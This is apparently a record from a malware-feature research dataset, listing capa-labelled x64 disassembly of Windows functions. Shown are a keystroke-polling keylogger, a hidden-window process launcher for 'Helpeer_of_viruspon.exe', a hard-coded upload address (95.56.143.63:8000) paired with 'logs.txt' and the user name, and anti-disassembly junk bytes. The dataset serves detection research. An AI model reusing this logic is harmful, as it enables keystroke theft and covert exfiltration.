joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001136b
Capabilities:
Terminate process

Disassembly:
jmp 0x140016c10
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001143d
Capabilities:
Create process on windows
Execute command
Hide graphical window

Disassembly:
jmp 0x140015120
push rbp
push rdi
sub rsp, 0x418
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x92
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140023040]
xor rax, rbp
mov qword [rbp + 0x3b8], rax
lea rcx, [0x1400290f4]
call fcn.1400115e6
mov dword [rbp + 4], 1
mov dword [rbp + 0x24], 0x7d00
lea rdx, [0x14001f414]
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_setlocale]
lea rax, [rbp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp + 0xd8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdx, str.C:Helpeer_of_viruspon.exe
lea rcx, [rbp + 0x128]
call fcn.14001120d
nop
xor edx, edx
lea rcx, [rbp + 0x128]
call fcn.1400110cd
mov qword [rbp + 0x168], rax
lea rdx, str.C:Helpeer_of_viruspon.exe
lea rcx, [rbp + 0x188]
call fcn.14001120d
nop
xor edx, edx
lea rcx, [rbp + 0x188]
call fcn.1400110cd
mov qword [rbp + 0x1c8], rax
lea rdx, str.__
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110c3
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x50]
call fcn.1400114a6
mov dword [rbp + 0x50], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0xd8]
call fcn.1400114a6
mov eax, dword [rbp + 0x24]
cmp dword [rbp + 4], eax
je 0x1400152ce
lea rax, [rbp + 0xd8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1c8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1400152c9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcess_failed___d_._n
call fcn.1400112f3
mov dword [rbp + 0x384], 0
lea rcx, [rbp + 0x188]
call fcn.14001155f
nop
lea rcx, [rbp + 0x128]
call fcn.14001155f
mov eax, dword [rbp + 0x384]
jmp 0x140015329
jmp 0x14001522e
lea rcx, [0x14001f49c]
call qword [sym.imp.ucrtbased.dll_system]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [rbp + 0x1e8], rax
xor edx, edx
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rbp + 0x3a4], 0
lea rcx, [rbp + 0x188]
call fcn.14001155f
nop
lea rcx, [rbp + 0x128]
call fcn.14001155f
mov eax, dword [rbp + 0x3a4]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ef60]
call fcn.140011523
mov rax, rdi
mov rcx, qword [rbp + 0x3b8]
xor rcx, rbp
call fcn.140011311
lea rsp, [rbp + 0x3c8]
pop rdi
pop rbp
ret
Function at 0x14001144c
Capabilities:
Parse pe header

Disassembly:
jmp 0x140017f60
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140017f80
xor al, al
jmp 0x140018001
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140017f93
xor al, al
jmp 0x140018001
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140017fbd
xor al, al
jmp 0x140018001
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140017fd1
xor al, al
jmp 0x140018001
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140017fe3
xor al, al
jmp 0x140018001
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140017fff
xor al, al
jmp 0x140018001
mov al, 1
add rsp, 0x38
ret
Function at 0x180003ec0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x10], 0
mov qword [rsp + 8], 0
mov qword [rsp + 0x18], 0
mov qword [rsp + 0x20], 0
mov rax, qword [0x18001ac30]
mov qword [rsp + 0x10], rax
js 0x180003f29
jns 0x180003f29
out 0xfa, eax
sbb esp, edi
std
cli
out 0x6e, eax
cli
sahf
sahf
invalid
mov rax, qword [rsp + 0x10]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180003f3f
xor eax, eax
jmp 0x18000407f
mov rax, qword [rsp + 0x10]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 8], rax
jp 0x180003f84
push rax
pop rax
jnp 0x180003f84
sbb ebx, dword [rsi + 0x6efd9e6e]
sbb ecx, dword [rax - 0x19]
invalid
mov rax, qword [rsp + 8]
cmp dword [rax], 0x4550
je 0x180003f98
xor eax, eax
jmp 0x18000407f
mov dword [rsp], 0
jmp 0x180003fa9
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov rax, qword [rsp + 8]
movzx eax, word [rax + 6]
cmp dword [rsp], eax
jae 0x180004054
mov rax, qword [rsp + 8]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 8]
lea rax, [rcx + rax + 0x18]
mov ecx, dword [rsp]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rsp + 0x18], rax
js 0x180004009
push rbx
push rcx
pop rcx
pop rbx
jns 0x180004009
invalid
mov rax, qword [rsp + 0x18]
cmp dword [rax + 0x24], 0xe0000020
jne 0x18000404f
jbe 0x180004043
push rsi
push rbx
push rdi
pop rdi
pop rbx
pop rsi
ja 0x180004043
invalid
mov rax, qword [rsp + 0x18]
mov qword [rsp + 0x20], rax
jmp 0x180004054
jmp 0x180003fa1
cmp qword [rsp + 0x20], 0
jne 0x180004060
xor eax, eax
jmp 0x18000407f
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0xc]
mov rcx, qword [0x18001ac30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
add rsp, 0x38
ret
Function at 0x180013e40
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x10], 0
mov qword [rsp + 0x18], 0
mov qword [rsp + 8], 0
mov qword [rsp], 0
mov qword [rsp + 0x20], 0
mov rax, qword gs:[0x60]
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x10]
mov rax, qword [rax + 0x238]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x18]
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
mov qword [rsp], rax
mov rax, qword [rsp]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x180013eed
mov rax, qword [rsp]
cmp dword [rax + 0x3c], 0
jle 0x180013eed
mov rax, qword [rsp]
cmp dword [rax + 0x3c], 0x190
jge 0x180013eed
mov rax, qword [rsp]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp dword [rax], 0x4550
jne 0x180013eed
jmp 0x180013efc
mov rax, qword [rsp + 8]
dec rax
mov qword [rsp + 8], rax
jmp 0x180013e99
mov rax, qword [rsp + 8]
add rsp, 0x38
ret

Function at 0x180013f10
Capabilities:
Hash data with crc32
Parse pe header

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov dword [rsp], 0
mov dword [rsp + 8], 0
mov dword [rsp], 0xffffffff
je 0x180013f64
jne 0x180013f64
outsb dx, byte [rsi]
sbb eax, dword [rcx + 0x6e]
sbb ebx, dword [rsi + 0x416ee79e]
jge 0x180013f90
std
outsb dx, byte [rsi]
cli
sahf
std
invalid
mov dword [rsp + 4], 0
jmp 0x180013f78
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
mov eax, dword [rsp + 0x28]
cmp dword [rsp + 4], eax
jae 0x180014043
jo 0x180013fb2
nop
jno 0x180013fb2
out 0x41, eax
invalid
sahf
invalid
mov eax, dword [rsp + 4]
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax]
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
and eax, 0xff
mov dword [rsp + 8], eax
ja 0x180013ffb
push rcx
push rsi
pop rsi
pop rcx
jbe 0x180013ffb
sbb esp, dword [rbx - 0x39]
invalid
mov eax, dword [rsp]
shr eax, 8
mov ecx, dword [rsp + 8]
lea rdx, [0x18001a810]
xor eax, dword [rdx + rcx*4]
mov dword [rsp], eax
jo 0x18001403e
push rsp
push rcx
nop
pop rcx
pop rsp
jno 0x18001403e
invalid
cli
cli
jno 0x18001403b
jmp 0x180013f6e
jne 0x18001406f
push rsp
push rbx
push rbp
pop rbp
pop rbx
pop rsp
je 0x18001406f
cli
out 0x41, eax
jno 0x18001403a
dec dword [rax + 0x41]
out 0x1f, eax
inc edi
sbb ebx, dword [rdi]
cli
jge 0x1800140c3
sbb edi, ebp
sbb edi, dword [rbp - 1]
invalid
mov eax, dword [rsp]
xor eax, 0xffffffff
mov dword [rsp], eax
jns 0x1800140a4
nop
js 0x1800140a4
sahf
sahf
std
out 0x1f, eax
sbb esp, dword [rbx - 0x39]
out 0x41, eax
invalid
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp]
mov dword [rax], ecx
xor eax, eax
add rsp, 0x18
ret
and al, 0x18
Function at 0x1800140c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x24], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
jb 0x18001413d
jae 0x18001413d
sahf
out 0x1b, eax
jge 0x180014162
invalid
mov rax, qword [rsp + 0x38]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180014156
mov eax, 1
jmp 0x1800143d4
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x38]
and al, 0x38
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
jg 0x18001419b
push rbp
push rsi
push rsi
push rsi
pop rsi
pop rsi
pop rsi
pop rbp
jle 0x18001419b
invalid
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0x4550
je 0x1800141b2
mov eax, 1
jmp 0x1800143d4
mov dword [rsp + 0x20], 0
jmp 0x1800141c6
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x30]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x20], eax
jae 0x1800143a9
mov rax, qword [rsp + 0x30]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x30]
lea rax, [rcx + rax + 0x18]
mov ecx, dword [rsp + 0x20]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rsp + 0x40], rax
js 0x180014228
push rsi
push rbx
push rdi
nop
pop rdi
pop rbx
pop rsi
jns 0x180014228
jno 0x18001427a
invalid
mov r8d, 0x10
xor edx, edx
lea rcx, [rsp + 0x50]
call qword [0x18001ace8]
jns 0x180014267
push rcx
push rcx
nop
pop rcx
pop rcx
js 0x180014267
out 0x9e, eax
outsb dx, byte [rsi]
invalid
mov rax, qword [rsp + 0x40]
mov r8d, 8
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [0x18001ad78]
jp 0x1800142ac
push rsi
push rsp
push rsi
nop
pop rsi
pop rsp
pop rsi
jnp 0x1800142ac
sbb eax, dword [rcx - 6]
jno 0x1800142af
invalid
jp 0x1800142d8
jnp 0x1800142d8
sub byte [rdi], bl
invalid
invalid
lea rdx, [0x18001af60]
adc eax, 0x6c81
lea rcx, [rsp + 0x50]
call qword [0x18001b028]
test eax, eax
jne 0x1800143a4
mov dword [rsp + 0x24], 1
jb 0x180014326
push rdi
push rsp
push rbx
pop rbx
pop rsp
pop rdi
jae 0x180014326
jno 0x180014369
cli
sbb eax, dword [rcx + 0x7d]
std
sahf
cli
call [rbx]
jge 0x1800142da
std
invalid
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
jp 0x18001436a
push rdx
pop rdx
jnp 0x18001436a
jno 0x180014346
jmp rdi
out 0xc7, eax
cli
invalid
std
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov dword [rsp + 0x28], eax
jbe 0x1800143a2
nop
ja 0x1800143a2
call [rsi - 0x18be9183]
sahf
invalid
jmp 0x1800143a9
jmp 0x1800141bc
cmp dword [rsp + 0x24], 0
jne 0x1800143b7
mov eax, 1
jmp 0x1800143d4
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
mov qword [rax], rcx
mov rax, qword [rsp + 0x80]
mov ecx, dword [rsp + 0x28]
mov dword [rax], ecx
xor eax, eax
add rsp, 0x68
ret
Function at 0x1400110f5
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001b2e0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400352dd]
call fcn.140011901
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x14001b337
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14001b443
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x14001b3dc
cmp qword [rbp + 0x28], 0
jle 0x14001b3dc
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x14001b37c
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.140011875
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x14001b432
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x14001b432
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1400112c6
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x14001a630
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x1a0
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x30
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x14002e040]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x14003537d]
call fcn.140011901
lea rax, [rbp + 8]
lea rcx, str.QWERTYUIOPASDFGHJKLZXCVBNM1234567890
mov rdi, rax
mov rsi, rcx
mov ecx, 0x25
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 8]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x48]
add rax, 0x25
mov qword [rbp + 0x88], rax
jmp 0x14001a6be
mov rax, qword [rbp + 0x68]
inc rax
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x88]
cmp qword [rbp + 0x68], rax
je 0x14001a721
mov rax, qword [rbp + 0x68]
movzx eax, byte [rax]
mov byte [rbp + 0xa4], al
movsx eax, byte [rbp + 0xa4]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14001a71f
mov rax, qword [rbp + 0x1a0]
add rax, 0x48
movzx edx, byte [rbp + 0xa4]
mov rcx, rax
call fcn.1400116e0
mov rax, qword [rbp + 0x1a0]
add rax, 0x48
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
jmp 0x14001a6b3
mov ecx, 0xd
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14001a765
mov rax, qword [rbp + 0x1a0]
add rax, 0x48
lea rdx, [0x1400292d4]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rax, qword [rbp + 0x1a0]
add rax, 0x48
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
mov ecx, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14001a7a9
mov rax, qword [rbp + 0x1a0]
add rax, 0x48
lea rdx, [0x1400292d8]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rax, qword [rbp + 0x1a0]
add rax, 0x48
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
lea rcx, [rbp - 0x20]
lea rdx, [0x140028010]
call fcn.140011780
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.140011465
lea rsp, [rbp + 0x180]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140011523
Capabilities:
Terminate process

Disassembly:
jmp 0x14001f610
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001165e
Capabilities:
Parse pe header

Disassembly:
jmp 0x140020140
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140020160
xor al, al
jmp 0x1400201e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140020173
xor al, al
jmp 0x1400201e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14002019d
xor al, al
jmp 0x1400201e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400201b1
xor al, al
jmp 0x1400201e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400201c3
xor al, al
jmp 0x1400201e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400201df
xor al, al
jmp 0x1400201e1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011884
Capabilities:
Get session user name

Disassembly:
jmp 0x140016930
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
mov rax, qword [rbp + 0xe0]
add rax, 0x48
mov edx, 1
mov rcx, rax
call fcn.140011758
nop
mov rax, qword [rbp + 0xe0]
add rax, 0x150
lea rdx, str.http:__95.56.143.63:8000_v1_file
mov rcx, rax
call fcn.1400113fc
nop
mov rax, qword [rbp + 0xe0]
add rax, 0x178
lea rdx, str.logs.txt
mov rcx, rax
call fcn.1400113fc
mov rax, qword [rbp + 0xe0]
mov dword [rax + 0x2a4], 0x101
mov rax, qword [rbp + 0xe0]
add rax, 0x2a4
mov rcx, qword [rbp + 0xe0]
add rcx, 0x1a0
mov rdx, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov rcx, qword [rbp + 0xe0]
mov dword [rcx + 0x2a8], eax
mov rax, qword [rbp + 0xe0]
add rax, 0x2b0
mov rcx, rax
call fcn.14001150f
nop
mov rax, qword [rbp + 0xe0]
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x1400118e3
Capabilities:
Write file on windows

Disassembly:
jmp 0x140018a80
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x14002e040]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x1400352dd]
call fcn.140011901
mov rax, qword [rbp + 0x190]
cmp qword [rax + 0x68], 0
je 0x140018ae6
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140018aed
mov al, 1
jmp 0x140018c3d
call fcn.14001128a
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx]
mov qword [rbp + 0x158], rcx
mov edx, eax
mov rcx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x158]
call qword [rax + 0x18]
mov dword [rbp + 0x160], eax
call fcn.14001128a
mov ecx, dword [rbp + 0x160]
mov edx, ecx
mov ecx, eax
call fcn.14001172b
movzx eax, al
test eax, eax
je 0x140018b3e
xor al, al
jmp 0x140018c3d
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x190]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
je 0x140018ba3
cmp dword [rbp + 0x154], 1
je 0x140018bae
cmp dword [rbp + 0x154], 3
je 0x140018c2c
jmp 0x140018c3b
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x140018bfe
mov rax, qword [rbp + 0x190]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x140018bfe
xor al, al
jmp 0x140018c3d
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140018c19
mov dword [rbp + 0x154], 1
jmp 0x140018c23
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x140018c3d
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140018c3d
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140028810]
call fcn.140011780
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.140011465
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret
Function at 0x1400806f0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x1405a0660]
xor rax, rsp
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x90], 0
jg 0x140080724
xor eax, eax
jmp 0x14008091a
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x68], 0
je 0x140080755
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
call fcn.140082a90
jmp 0x14008091a
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x80]
call fcn.140085fd0
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jbe 0x140080803
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.1400690b0
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x80]
call fcn.140086190
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x88]
call fcn.14006d6e0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
call fcn.1400860f0
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x80], 0
je 0x14008090a
mov rcx, qword [rsp + 0x80]
call fcn.140083b60
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x50], 0xfff
jbe 0x1400808b8
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x88]
call fcn.1403f0ad8
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x28], 0xfff
je 0x1400808b3
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x14008091a
jmp 0x14008082f
cmp qword [rsp + 0x50], 0
jbe 0x14008090a
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x88]
call fcn.1403f0ad8
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
